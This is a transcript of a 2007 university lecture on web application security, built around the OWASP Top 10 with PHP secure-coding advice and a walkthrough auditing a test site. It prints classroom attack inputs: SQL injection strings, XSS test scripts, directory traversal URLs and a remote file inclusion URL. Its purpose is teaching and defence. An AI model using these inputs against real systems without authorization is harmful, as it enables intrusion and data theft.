SlideShare ist ein Scribd-Unternehmen logo
1 von 61
Web Application Security


                       Javed Ikbal
                   www.zsquad.com
       Brown University, March 26, 2007
Background




             2
Why Web Application Security?
• Because everyone can touch web apps
• And applications are hard to secure
• This presentation:
  – Shows where web apps are vulnerable
  – Shows how to identify the issues
  – Is not a secure coding primer, only the
    foreword



                                              3
Web Applications
• ... are everywhere
• More apps being web-enabled every day
• CSI/FBI Survey: website incidents in 2006 by
  respondent %




                                                 4
.. “That's where the money is!”

• Quote attributed to Willie Sutton, a bank
  robber, answering why he robbed banks.
  – (Invented by an enterprising reporter. Mr.
    Sutton never actually said this)
• Why web applications are attacked?
  – Money?
  – Fame (street creds)?
  – Access!
                                                 5
Cast of Characters and Motivation
       Organized Crime +                          Insider +
           Hackers                                 Hacker
                                                               Insider / Student
       Professional Hacker              Organized Crime        Curiosity
Risk   Self-satisfaction                Theft
       Prove a point                    Greed
       Attack launch point                              Disgruntled Insider
       Illegal downloads                Hacktortion     Revenge

                     Cyber Terrorist
                     Political Agenda                  Insider / Student
                     Hacktivism                        Profit motivation
                     Mercenaries

                             Probability increases with
                             Larger Internet presence

                                                       Script Kiddies
                                         Amateurs      Recognition
                                         Lets see if   Notoriety
                                         I can do it   Street Credentials

                                                          Probability of Attack

                                                                                   6
Cast of Characters and Motivation
Harvard rejects 119 accused of hacking
  Applicants' behavior 'unethical at best'

                     Man charged with hacking university site
    A 25-year-old computer network expert from San Diego was charged
     this week in Los Angeles with hacking into a University of Southern
         California admissions site last June... In all, the attack last June
  compromised personal records of more than 270,000 past and present
     university applicants...It is believed Eric McCarty, the man charged,
  used a vulnerability in the online application system and gained access
      to personal records of applicants including dates of births and SSN
                                                                   numbers.

Oxford students hack university network "in minutes"
Two Oxford University students are facing suspension and a fine
after they hacked into the University computer system to show just
how easy it was to access supposedly secure personal details.

                                                                           7
3-Tier Web Architecture
                      Allow just the Webserver to talk    You actually have a Firewall
Allow (anyone) to     to the App server, and only the           here? Excellent!
 connect to port       App server to talk to the Web      Allow 2-way communication
    443 and            Server using specific source/      between App Server and DB
NOTHING ELSE                 destination ports             Server using specific ports




        HTTPS                       ?                     ?                    Enterprise




                    Red Zone             Yellow Zone           Green Zone
              Presentation                Application            Database
                    (web server)        (application server)   (database server)




                                                                                     8
No Application Server
                  Allow just the Webserver to talk to
Allow (anyone) to the Database server, and only the
 connect to port  database server to talk to the Web
    443 and          Server using specific source/
NOTHING ELSE               destination ports




                                                         Enterprise
         HTTPS                   ?



                 Red Zone             Green Zone
               Presentation            Database
                 (web server)        (database server)




                                                                      9
The Problem With Firewalls
• Traditional Firewalls
  understand source and
  destination IP addresses
  and ports
• Anything inside the TCP
  packet is invisible to the
  firewall
• App firewalls work—
  hard to configure
• The Castle and Moat
  Security Model:

                                10
HOW?
• Attacks flow inside the HTTP/HTTPS request
  – Like poison in delicious food
• Firewalls never see them
• Comes from allowed sources, going to allowed
  destination and port
  – The firewall is the Moat, alligators are the attacks
  – So requests and responses are passed merrily along: Web server
    passes to app server, which forwards to database server
• Need another layer of defence
  – Do you have a Castle inside the moat?

                                                                 11
The Attack Surfaces




                      12
The OWASP Top-10
• From the Open Web Application Security Project
   – (http://www.owasp.org/)
• U.S. Federal Trade Commission strongly recommends that all
  companies use the OWASP Top Ten and ensure that their partners do
  the same.
• U.S. Defence Information Systems Agency lists this as part of the
  Defence Information Technology Security Certification and
  Accreditation (C&A) Process (DITSCAP).
• The Payment Card Industry (PCI) standard has adopted the OWASP
  Top Ten, and requires (among other things) that all merchants get a
  security code review for all their custom code.
• Many other companies have adopted the Top-Ten

                                                                   13
The OWASP Top-10

A1. Unvalidated Input
A2. Broken Access Control
A3. Broken Authentication and Session Management
A4. Cross Site Scripting
A5. Buffer Overflow
A6. Injection Flaws
A7. Improper Error Handling
A8. Insecure Storage
A9. Application Denial of Service
A10. Insecure Configuration Management

                                                   14
On to the Web Application
• A1. Unvalidated Input
  – DO NOT TRUST user input
  – Can be the root of lots of evil
         – Can cause information leakage
         – Buffer overflow
         – Parameter tampering

• Example:
T-Shirt <input type=hidden
  name="Item" value="T-Shirt"><br>
Price $12.00<input type=hidden
  name="Price" value="12.00"><br>

                                           15
A1. Unvalidated Input
• What is allowed and not allowed? In what format?
• Secure coding:
   Validate and reject bad input
   Input Filtering
   – http://www.phpclasses.org/browse/package/2189.html
   – http://support.microsoft.com/kb/q253119/
   SQL Injection
   – http://www.phpclasses.org/browse/package/1341.html
• OWASP online resources




                                                          16
A1. Unvalidated Input
• Best (and most time consuming) way: Source code review
       • Commercial tools are very expensive, but worth it
         depending on the information value
• Application Testing Tools
   – Free tool: WebScarab
   – Commercial: AppScan, WebInspect, a few others
   – Still no match for an experienced human
• Web App Firewalls work but require careful tuning
   – CodeSeeker: free application firewall from OWASP
   – mod_security: an Apache application security firewall


                                                             17
A2. Broken Access Control
• Who is allowed and not allowed?
   – Does access privilege meet roles?
   – Is the data entry operator using the admin password?
• Insecure ID
• Forced Browsing: Security by obscurity doesn't work
• Path Traversal: Relative path information (e.g.,
  “../../target_dir/target_file”) works
• File Permissions
• Client-side caching
• Secure coding:
   – Define ACLs and role-based access control
   – Validate ID at each access request

                                                            18
A3. Broken Authentication & Session
           Management
• How is the log-in process protected?
  – Do NOT use referer as the primary control
• Once logged in, how is the user tracked?
• Password strength, use, and change process
  – Default accounts and passwords?
• Never store actual passwords, only a hash
• Credentials in transit: SSL being used?
• Secure coding
  – Session-id should never be part of the URL, should be random and
    long, and should be changed often
  – Idle time-out should be used
  – Authentication screen should not use GET method

                                                                 19
A4. Cross-Site Scripting (XSS)
•   Does the site echo back form data?
•   A way to “inject” content to a page
•   Can be an easy way to steal session-id
•   Many other ways to exploit XSS vulnerability
    – See the XSS FAQ
• Testing: Enter <script>alert(1)</script> in web form
  fields. If a window pops up, you have an XSS
  vulnerability
• Secure Coding: The OWASP way
    – Validate the input!



                                                     20
A5. Buffer Overflow
• PHP and C/C++ are vulnerable, Java is not
• Occurs when more information than a memory
  location can handle is stuffed into it
  – Extra information overwrites instruction location, and may
    get executed.
• Difficult to exploit, but devastating impact (Code
  Red, NIMDA worms)
• Keep up with patches and bug reports, and
  periodically scan infrastructure
• Validate Input!

                                                                 21
A6. Injection Flaws
• Malformed input resulting in a command execution
• Suppose login logic is like this:
   IF userid and password matches,
       set Result = 'success'
   IF 'success' then let user in
• Attacker enters '1=1' in the userid field
• SQL will evaluate this as TRUE and return 'success'
• Secure coding:
   – Avoid making system calls
   – For databases, use stored procedures instead of passing user input
   – And did we mention input validation?



                                                                    22
A7. Improper Error Handling
• If the application fails
     – Will it fail closed? Fail open?
     – What error message is displayed?
     – Secure Coding:
        • Have a “catch-all” error trapping mechanism with custom
          messages
        • Do not dump system error messages directly
[FormatException: Input string was not in a correct format.]
Microsoft.VisualBasic.CompilerServices.DoubleType.Parse(String Value, NumberFormatInfo NumberFormat) +193
Microsoft.VisualBasic.CompilerServices.IntegerType.FromString(String Value) +97 [InvalidCastException: Cast
from string "Select -->" to type 'Integer' is not valid.]
Microsoft.VisualBasic.CompilerServices.IntegerType.FromString(String Value) +212
lpr.language_picker.get_mykey() in
C:jaywebsitesabluser_controlslanguage_picker.ascx.vb:45
lpr.empbioform_langs.add_button_Click(Object sender, EventArgs e) in
C:jaywebsitesqprempbioform_langs.ascx.vb:80
System.Web.UI.WebControls.Button.OnClick(EventArgs e) +108 BPeter.VAM.Button.OnClick(EventArgs pE) +71

                                                                                                         23
A8. Insecure Storage
• Run, don't walk, if you hear: “I wrote this
  encryption algorithm. It's proprietary, and very
  fast. Our data is protected using this algorithm.”
• When it comes to cryptographic algorithms:
    – Proprietary or Secret Algorithm = BAD
•   DES is Dead. 3DES or AES is OK
•   SHA-1 and MD5 will be dead in a few years
•   What is being protected and for how long?
•   Secure coding: Use a tested/proven library, and
    protect the keys, certificates and passwords
                                                  24
A9. Application Denial of Service
•   Not network DoS (e.g. TCP SYN floods)
•   Can the application be crashed?
•   Can it be slowed down?
•   Can it be forced to give up information?
•   Secure coding:
    – Load test, specially what unauthenticated users can do
    – Do not make unnecessary database calls
       • E.g. Don't check userid for existence, and if found, then look for
         the password match
    – Don't make unnecessary disk reads
    – Serve static content as cache out of the web or app layer (or from a
      cache)

                                                                       25
A10. Insecure Configuration
• Wide range of misconfigurations
    – Or outdated systems
•   Unpatched security flaws
•   Unnecessary default, backup, or sample files
•   Improper file permissions
•   Unnecessary services enabled
•   Default accounts with their default passwords
•   Overly informative error messages
•   Misconfigured encryption settings
•   Default or self-signed certificates
•   Improper authentication with external systems
                                                    26
A10. Insecure Configuration
• Do you rename your files as .old or .bak?
• Or put the database config in a .inc file?
  – I used to. Not any more.
                               Use db.inc (or some other
                               inc file for database
                               connection credentials?
                               Where is this .inc file

                               located?
                               If someone can guess the

                               path, the contents will be
                               displayed!
                               Move above webroot, or

                               rename to .php

                                                        27
A10. Insecure Configuration
• Using JavaScript to enforce security?
   <script src="javascript/globalattrib.js"
     type="text/javascript"></script>
• Contents of globalattrib.js:
   // Global constants
   BRole = "B";
   MRole = "M";
   AdminRole = "ADMIN";
   var maxBlockRecords = 20;
• I can write my own HTML and set whatever variable
  value I want



                                                 28
Recommended PHP Configuration
display_errors = Off (turn on with ini_set or .htaccess)
log_errors = On
error_reporting = E_ALL (better error reporting)
session.gc_maxlifetime=600 (ten minutes of inactivity)
safe_mode = On (enable if possible)
safe_mode_gid = On (enable if possible)




                                                           29
Secure Development Process
• Start with Guidelines, Policies and Standards


    Security starts here?                        Security starts here?
    Good!                                        Not good.
      Security     Design               Code    Penetration
    Requirements   Review              Review     Testing


                                                 DEPLOY/
    Requirements   DESIGN    DEVELOP    TEST
                                                IMPLEMENT




                            MAINTAIN




                                                                    30
10 Principles of Secure Coding
1. Security should be seen as an integral part of the application
design process and not as an afterthought.
2. “Security through obscurity,” or relying on others not knowing
what you are doing, is a highly unreliable security practice.
3. Simplicity of application design simplifies the application of
security.
4. All input is to be distrusted, even when coming from trusted
systems.
5. All entities in the system should be granted the least level of
privilege required to accomplish their necessary tasks.



                                                                    31
10 Principles of Secure Coding
6. When an error is encountered, ensure that the system
fails in a secure manner.
7. Force all permissions in the system to be explicitly
granted or else be denied.
8. Any and all output must be sanitized to prevent
information disclosure or relayed attacks.
9. Application segmentation is a useful technique to limit an
attacker’s range of action.
10. Multi-layered security models reduce the impact of
individual security bypasses.



                                                          32
Data Validation
• Validate all data coming from the client/browser. Ensure all
  data is:
   – Well formed, and
   – Of a proper length (both maximum and minimum length
      checks are required)
• Validation must occur before using or storing the data.
• Do not base security on HTTP Referer
• All data validation must occur on the server-side.
   – Optionally, client side validation (JavaScript, etc) may be
      used as another layer but should never be the only
      method


                                                              33
Data Validation
Required:
• Only checking for null or empty values does not satisfy the
  requirements for a well-formed and length check on the
  incoming data fields. Each field needs some level of
  validation to ensure it does not contain malicious data.
• Suspicious characters related to Cross-site Scripting attacks
  should NOT be allowed unless they are required by the
  application. The suspicious characters (sorted by highest
  risk) include: < > “ ‘ ( ) ; % + & 




                                                             34
Application Security
with some PHP examples




                         35
PHP Security Resources
• All software has bugs
• PHP itself is no exception
   – MOPB: http://www.php-security.org/
• http://www.modsecurity.org/
   – Web Application Firewall for PHP
• Bad news: mod_security itself had issues
• Zend has issues too
• Your PHP code may (will) have security issues.
  Security guide:
   – http://phpsec.org/projects/guide/
                                                   36
OWASP A1: Unvalidated Input
• Anything you create does not need further validation.
    $email = 'javed@zsquad.com'; can be trusted
• Everything else needs to be validated
    $email = $_POST['email']; can NOT be trusted
• Validate all input at the server, even if its validated on the client once
• Use a centralized validation engine (makes maintenance easier)
• If possible, use a “approved”-list instead of a “deny”-list. Deny if not
  explicitly approved
• Decode URLs before validation
• Reading a filename or path? Verify!
• Verify XML documents against schema


                                                                          37
OWASP A1: Unvalidated Input
• If you allow any input AND render it as-is, people can add
  JavaScript to your page. Result: anyone viewing that page could
  lose their session cookie to an attacker.
<form action="comment.php" method="POST" />
<p>Name: <input type="text" name="name" /><br />
Comment: <textarea name="comment" rows="10"
   cols="60"></textarea><br />
<input type="submit" value="Add Comment" /></p>
</form>
<?php
echo "<p>$name writes:<br />";
echo "<blockquote>$comment</blockquote></p>";
?>
• Distrust user input and any data coming from the browser, like
  http referer


                                                                   38
PHP register_global
• http://us2.php.net/register_globals
• register_global is a PHP directive that, when 'ON', allows variables with
  global scope to be 'seen' by your script
• Turned off by default starting with PHP 4.2.0

<?php   // http://thispage.com/auth.php
// define $authorized = true only if user is authenticated
if (authenticated_user()) {
   $authorized = true;
}
// what if I type:
// http://thispage.com/auth.php?authorized=1
// I just passed the IF test and set $authorized = true
if ($authorized) {
   include "/highly/sensitive/data.php";
}
?>
                                                                       39
PHP register_global
• Or how about this:
// this file = loadscript.php
<?php
include "$path/script.php";
// verify password
....
?>
• With register_global ON, I can get the page with
   loadscript.php?path=http://zsquad.com/evil and instead of the
     local script.php, your PHP code will load
     http://zsquad.com/evil/script.php

                                                              40
PHP register_global
• Remediation:
   – Turn it off: WILL break lots of scripts
   – Rewrite using $_POST and $_GET superglobals
   – Explicitly initialize variables
   – Develop with error_reporting set to E_ALL
• mod_security: (just blocking $authorized)
   <Location "/vulnerable-application/">
         SecFilterSelective ARG_authorized "!^$"
   </Location>
• Disable globally, then use .htaccess to turn on selectively for apps that
  need it (and then fix those)
       php_value register_globals 1

                                                                        41
Back to .inc files
• Sample database.inc:
<?php // filename: database.inc
$host = 'example.org';
$username = 'myuser';
$password = 'myR3@77yKOMplICATEDpassW04d';
$db = mysql_connect($host, $username, $password);
?>
• Apache will happily serve up .inc file source
• Sysadmins: add to httpd.conf (on Apache)
   <Files ~ ".inc$">
       Order allow,deny
       Deny from all
   </Files>


                                                    42
Databases (MySql or SQL Server)
• If you are passing unfiltered input to the database, someone may
  send in additional commands
• Password change dialog: whatever is in the new password field is
  used to construct the SQL
UPDATE users SET password = $newpass
WHERE username = 'javed';
• I can't change username, but I am entering $newpass
• What will the same SQL look like if I entered
$newpass = 'myNewPass' where username = 'javed' or
  username like 'pat%' --
UPDATE users SET password = 'myNewPass' where
  username = 'javed' or username like 'pat%' --

                                                               43
Database issues contd.
•   For MySql, use mysql_real_escape_string()
•   Similar functions available for most databases
•   If nothing is available, use addslashes()
•   The PHP directive magic_quotes_gpc is on by default, and it
    essentially runs addslashes() on all GET, POST, and COOKIE data.
    – Do not use addslashes() on strings that have already been
      escaped with magic_quotes_gpc as this will result in double
      escaping.
    – Use get_magic_quotes_gpc() to check




                                                                 44
Session Management
• How do we keep track of users once they log in?
• Can Johnny claim that he is James?
• Regenerate session id after login and everytime privilege changes.
  Heck, do it every 15 minutes.
<?php
session_start();
if (!isset($_SESSION['initiated'])){
   session_regenerate_id();
   $_SESSION['initiated'] = true;
}
?>


                                                                       45
Session Management
• By default, session data is stored in /tmp
• So if you and I share a server, can I read your session data?
   – Probably. Session files are owned by the webserver process. My PHP
      scripts will be able to read them.
   – safe_mode directive can block PHP. I can easily write the code in
      Perl to read the files.
• Once I have the session data, I can set the cookie, and assume another
  user's identity
• So store the sessions in a database
   – http://www.phpclasses.org/browse/package/1624.html
• Other methods:
   – http://www.phpclasses.org/browse/package/2794.html


                                                                   46
Application Audit
(or how not to develop
  web applications)




                         47
A “Testing” site
http://www.acme-hackme.com/




                              48
FireFox with Web Developer Extn
• http://zsquad.com/download, or
• http://getfirefox.com &
  http://chrispederick.com/work/webdeveloper/
• Lets start at:
http://www.acme-hackme.com/feedback.aspx
• From the WDE menu:
  – select Forms->Display Form Details



                                            49
FireFox with Web Developer Extn
• Hmm.. a hidden field with what looks like a filename




• What will happen if I change the filename?
   – What if I change the name AND the path?
• Instant defacement (or phishing!)
                                                    50
Directory Traversal
http://www.acme-hackme.com/default.aspx?content=pr/20061109.htm

• default.aspx is passed the path to a filename, and
  it is displayed.
• Can we guess paths and other filenames?
http://www.acme-hackme.com/default.aspx?content=../pr/20061109.htm

• Ouch! (or Got you!)




                                                                     51
Default Accounts
• We can login with 'admin' & 'admin'
  – Ok, that's just an extreme example
• What happens if we don't enter a passwod?
  – A JavaScript popup
  – WDE ->Disable->JavaScript->All JavaScript
     • No popups, no warnings:
     • Doing client side validation only




                                                52
Brief Detour to Error Messages
• From another site:
Error Diagnostic Information
ODBC Error Code = 37000 (Syntax error or access
  violation)

[Microsoft][ODBC SQL Server Driver][SQL
  Server]Line 3: Incorrect syntax near '='.
SQL = "Update tblMember set dteEdited=getdate()
  where intResID="

• Error message giving up table name, a date field, and the index to
  the table.


                                                                 53
SQL Injection Attack
• A forced error may show the SQL
• Or the attacker can just guess
  – SQL query for authentication probably looks like:
    “select * from users where
    user='userID' and pass='password'
• The userID and password is taken from the web form
• So if I enter: aa' or user like 'a%' --
• The SQL becomes: select * from users
  where user='aa' OR user like 'a%' --
  ' and pass='password' which becomes:
• select * from users where user like
  'a%'

                                                        54
SQL Injection Attack




                       55
Parameter Injection




                      56
Parameter Injection
http://www.acme-hackme.com/bank/customize.aspx?lang=
<img src='http://images.slashdot.org/topics/topicscience.gif'>




                                                                 57
Once more:
• Secure Applications do not “happen”
   – They are consciously designed and built
• Conclusion: Any given large web application,
  unless extensively tested:
   – Will have vulnerabilities
• Not too difficult to find
• Educate development group
• Audit staff is the last line of defence



                                                 58
Web App Auditing in 5 Steps:
• 1. Do you have authorization and a GET OUT OF
  JAIL FREE letter?
• 2. Find all web forms in the application.
• Look for hidden fields (use WDE). How is the
  information being used?
• In all the form fields, enter the following:
  <script>alert("Hello")</script> and submit
  – (use WDE to bypass length restrictions). If you see a
    pop-up, you just broke the app and launched a
    successful cross-site scripting attack

                                                            59
Web App Auditing in 5 Steps:
• 3. Use WDE to display the form detail for all
  forms, specially log-in forms
• If you see METHOD=”GET” that is a problem
  (information will be stored in logs)
• 4. Add ../ in the URL. See what the error
  message is
• 5. In login forms, enter a single quote (') and see
  what the error message is. If the output
  contains “SQL” anywhere, there might be
  potential SQL injection issues

                                                        60
Questions




            61

Weitere ähnliche Inhalte

Was ist angesagt?

Owasp2013 johannesullrich
Owasp2013 johannesullrichOwasp2013 johannesullrich
Owasp2013 johannesullrich
drewz lin
 
Web security-–-everything-we-know-is-wrong-eoin-keary
Web security-–-everything-we-know-is-wrong-eoin-kearyWeb security-–-everything-we-know-is-wrong-eoin-keary
Web security-–-everything-we-know-is-wrong-eoin-keary
drewz lin
 
OISC 2019 - The OWASP Top 10 & AppSec Primer
OISC 2019 - The OWASP Top 10 & AppSec PrimerOISC 2019 - The OWASP Top 10 & AppSec Primer
OISC 2019 - The OWASP Top 10 & AppSec Primer
CiNPA Security SIG
 
Csrf not-all-defenses-are-created-equal
Csrf not-all-defenses-are-created-equalCsrf not-all-defenses-are-created-equal
Csrf not-all-defenses-are-created-equal
drewz lin
 

Was ist angesagt? (20)

Owasp top 10 vulnerabilities
Owasp top 10 vulnerabilitiesOwasp top 10 vulnerabilities
Owasp top 10 vulnerabilities
 
Security testing
Security testingSecurity testing
Security testing
 
The Web Application Hackers Toolchain
The Web Application Hackers ToolchainThe Web Application Hackers Toolchain
The Web Application Hackers Toolchain
 
3. backup file artifacts - mazin ahmed
3. backup file artifacts - mazin ahmed3. backup file artifacts - mazin ahmed
3. backup file artifacts - mazin ahmed
 
Phishing with Super Bait
Phishing with Super BaitPhishing with Super Bait
Phishing with Super Bait
 
Owasp2013 johannesullrich
Owasp2013 johannesullrichOwasp2013 johannesullrich
Owasp2013 johannesullrich
 
2 . web app s canners
2 . web app s canners2 . web app s canners
2 . web app s canners
 
Web security-–-everything-we-know-is-wrong-eoin-keary
Web security-–-everything-we-know-is-wrong-eoin-kearyWeb security-–-everything-we-know-is-wrong-eoin-keary
Web security-–-everything-we-know-is-wrong-eoin-keary
 
Owasp top 10 security threats
Owasp top 10 security threatsOwasp top 10 security threats
Owasp top 10 security threats
 
NETWORK PENETRATION TESTING
NETWORK PENETRATION TESTINGNETWORK PENETRATION TESTING
NETWORK PENETRATION TESTING
 
OISC 2019 - The OWASP Top 10 & AppSec Primer
OISC 2019 - The OWASP Top 10 & AppSec PrimerOISC 2019 - The OWASP Top 10 & AppSec Primer
OISC 2019 - The OWASP Top 10 & AppSec Primer
 
Secure code practices
Secure code practicesSecure code practices
Secure code practices
 
Secure PHP Coding
Secure PHP CodingSecure PHP Coding
Secure PHP Coding
 
Scaling-up and Automating Web Application Security Tech Talk
Scaling-up and Automating Web Application Security Tech TalkScaling-up and Automating Web Application Security Tech Talk
Scaling-up and Automating Web Application Security Tech Talk
 
DC612 Day - Hands on Penetration Testing 101
DC612 Day - Hands on Penetration Testing 101DC612 Day - Hands on Penetration Testing 101
DC612 Day - Hands on Penetration Testing 101
 
Csrf not-all-defenses-are-created-equal
Csrf not-all-defenses-are-created-equalCsrf not-all-defenses-are-created-equal
Csrf not-all-defenses-are-created-equal
 
CVE-2021-44228 Log4j (and Log4Shell) Executive Explainer by cje@bugcrowd
CVE-2021-44228 Log4j (and Log4Shell) Executive Explainer by cje@bugcrowdCVE-2021-44228 Log4j (and Log4Shell) Executive Explainer by cje@bugcrowd
CVE-2021-44228 Log4j (and Log4Shell) Executive Explainer by cje@bugcrowd
 
Owasp web application security trends
Owasp web application security trendsOwasp web application security trends
Owasp web application security trends
 
Penetration Testing
Penetration Testing Penetration Testing
Penetration Testing
 
Getting Started With Hacking Android & iOS Apps? Tools, Techniques and resources
Getting Started With Hacking Android & iOS Apps? Tools, Techniques and resourcesGetting Started With Hacking Android & iOS Apps? Tools, Techniques and resources
Getting Started With Hacking Android & iOS Apps? Tools, Techniques and resources
 

Andere mochten auch

Practical unix utilities for text processing
Practical unix utilities for text processingPractical unix utilities for text processing
Practical unix utilities for text processing
Anton Arhipov
 
Unix command-line tools
Unix command-line toolsUnix command-line tools
Unix command-line tools
Eric Wilson
 
Top 100 Linux Interview Questions and Answers 2014
Top 100 Linux Interview Questions and Answers 2014Top 100 Linux Interview Questions and Answers 2014
Top 100 Linux Interview Questions and Answers 2014
iimjobs and hirist
 
Introduction to SSH
Introduction to SSHIntroduction to SSH
Introduction to SSH
Hemant Shah
 

Andere mochten auch (20)

How to Setup A Pen test Lab and How to Play CTF
How to Setup A Pen test Lab and How to Play CTF How to Setup A Pen test Lab and How to Play CTF
How to Setup A Pen test Lab and How to Play CTF
 
PHP Secure Programming
PHP Secure ProgrammingPHP Secure Programming
PHP Secure Programming
 
Practical unix utilities for text processing
Practical unix utilities for text processingPractical unix utilities for text processing
Practical unix utilities for text processing
 
Learning sed and awk
Learning sed and awkLearning sed and awk
Learning sed and awk
 
Defeating The Network Security Infrastructure V1.0
Defeating The Network Security Infrastructure  V1.0Defeating The Network Security Infrastructure  V1.0
Defeating The Network Security Infrastructure V1.0
 
Web Application Security: Introduction to common classes of security flaws an...
Web Application Security: Introduction to common classes of security flaws an...Web Application Security: Introduction to common classes of security flaws an...
Web Application Security: Introduction to common classes of security flaws an...
 
Unix command-line tools
Unix command-line toolsUnix command-line tools
Unix command-line tools
 
Secure SHell
Secure SHellSecure SHell
Secure SHell
 
Secure shell protocol
Secure shell protocolSecure shell protocol
Secure shell protocol
 
class12_Networking2
class12_Networking2class12_Networking2
class12_Networking2
 
Unix Command Line Productivity Tips
Unix Command Line Productivity TipsUnix Command Line Productivity Tips
Unix Command Line Productivity Tips
 
Practical Example of grep command in unix
Practical Example of grep command in unixPractical Example of grep command in unix
Practical Example of grep command in unix
 
Sed & awk the dynamic duo
Sed & awk   the dynamic duoSed & awk   the dynamic duo
Sed & awk the dynamic duo
 
SSH
SSHSSH
SSH
 
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAP
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAPVirtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAP
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAP
 
SSH - Secure Shell
SSH - Secure ShellSSH - Secure Shell
SSH - Secure Shell
 
Secure Shell(ssh)
Secure Shell(ssh)Secure Shell(ssh)
Secure Shell(ssh)
 
Top 100 Linux Interview Questions and Answers 2014
Top 100 Linux Interview Questions and Answers 2014Top 100 Linux Interview Questions and Answers 2014
Top 100 Linux Interview Questions and Answers 2014
 
RHCE FINAL Questions and Answers
RHCE FINAL Questions and AnswersRHCE FINAL Questions and Answers
RHCE FINAL Questions and Answers
 
Introduction to SSH
Introduction to SSHIntroduction to SSH
Introduction to SSH
 

Ähnlich wie Web Application Security with PHP

Xfocus xcon 2008_aks_oknock
Xfocus xcon 2008_aks_oknockXfocus xcon 2008_aks_oknock
Xfocus xcon 2008_aks_oknock
ownerkhan
 
Reliable and fast security audits - The modern and offensive way-Mohan Gandhi
Reliable and fast security audits - The modern and offensive way-Mohan GandhiReliable and fast security audits - The modern and offensive way-Mohan Gandhi
Reliable and fast security audits - The modern and offensive way-Mohan Gandhi
bhumika2108
 
Secure Web Services
Secure Web ServicesSecure Web Services
Secure Web Services
Rob Daigneau
 

Ähnlich wie Web Application Security with PHP (20)

A DevOps Guide to Web Application Security
A DevOps Guide to Web Application SecurityA DevOps Guide to Web Application Security
A DevOps Guide to Web Application Security
 
Xfocus xcon 2008_aks_oknock
Xfocus xcon 2008_aks_oknockXfocus xcon 2008_aks_oknock
Xfocus xcon 2008_aks_oknock
 
Beyond Ethical Hacking By Nipun Jaswal , CSA HCF Infosec Pvt. Ltd
Beyond Ethical Hacking By Nipun Jaswal , CSA HCF Infosec Pvt. LtdBeyond Ethical Hacking By Nipun Jaswal , CSA HCF Infosec Pvt. Ltd
Beyond Ethical Hacking By Nipun Jaswal , CSA HCF Infosec Pvt. Ltd
 
Testing Application Security: The Hacker Psyche Exposed
Testing Application Security: The Hacker Psyche ExposedTesting Application Security: The Hacker Psyche Exposed
Testing Application Security: The Hacker Psyche Exposed
 
Spa Secure Coding Guide
Spa Secure Coding GuideSpa Secure Coding Guide
Spa Secure Coding Guide
 
Top 10 web application security risks akash mahajan
Top 10 web application security risks   akash mahajanTop 10 web application security risks   akash mahajan
Top 10 web application security risks akash mahajan
 
Protecting Your APIs Against Attack & Hijack
Protecting Your APIs Against Attack & Hijack Protecting Your APIs Against Attack & Hijack
Protecting Your APIs Against Attack & Hijack
 
Web security 2012
Web security 2012Web security 2012
Web security 2012
 
Reliable and fast security audits - The modern and offensive way-Mohan Gandhi
Reliable and fast security audits - The modern and offensive way-Mohan GandhiReliable and fast security audits - The modern and offensive way-Mohan Gandhi
Reliable and fast security audits - The modern and offensive way-Mohan Gandhi
 
Security in the cloud protecting your cloud apps
Security in the cloud   protecting your cloud appsSecurity in the cloud   protecting your cloud apps
Security in the cloud protecting your cloud apps
 
5 step plan to securing your APIs
5 step plan to securing your APIs5 step plan to securing your APIs
5 step plan to securing your APIs
 
OWASP Top Ten in Practice
OWASP Top Ten in PracticeOWASP Top Ten in Practice
OWASP Top Ten in Practice
 
Devbeat Conference - Developer First Security
Devbeat Conference - Developer First SecurityDevbeat Conference - Developer First Security
Devbeat Conference - Developer First Security
 
API SECURITY
API SECURITYAPI SECURITY
API SECURITY
 
Web Application Security Session for Web Developers
Web Application Security Session for Web DevelopersWeb Application Security Session for Web Developers
Web Application Security Session for Web Developers
 
Secure RESTful Web Services for ASP.NET Web API
Secure RESTful Web Services for ASP.NET Web APISecure RESTful Web Services for ASP.NET Web API
Secure RESTful Web Services for ASP.NET Web API
 
Secure Web Services
Secure Web ServicesSecure Web Services
Secure Web Services
 
Web App Security Presentation by Ryan Holland - 05-31-2017
Web App Security Presentation by Ryan Holland - 05-31-2017Web App Security Presentation by Ryan Holland - 05-31-2017
Web App Security Presentation by Ryan Holland - 05-31-2017
 
Best Practices You Must Apply to Secure Your APIs - Scott Morrison, SVP & Dis...
Best Practices You Must Apply to Secure Your APIs - Scott Morrison, SVP & Dis...Best Practices You Must Apply to Secure Your APIs - Scott Morrison, SVP & Dis...
Best Practices You Must Apply to Secure Your APIs - Scott Morrison, SVP & Dis...
 
Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...
Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...
Cyber Crime / Cyber Secuity Testing Architecture by MRITYUNJAYA HIKKALGUTTI (...
 

Kürzlich hochgeladen

Kürzlich hochgeladen (20)

Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Advantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessAdvantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your Business
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024
 
Slack Application Development 101 Slides
Slack Application Development 101 SlidesSlack Application Development 101 Slides
Slack Application Development 101 Slides
 
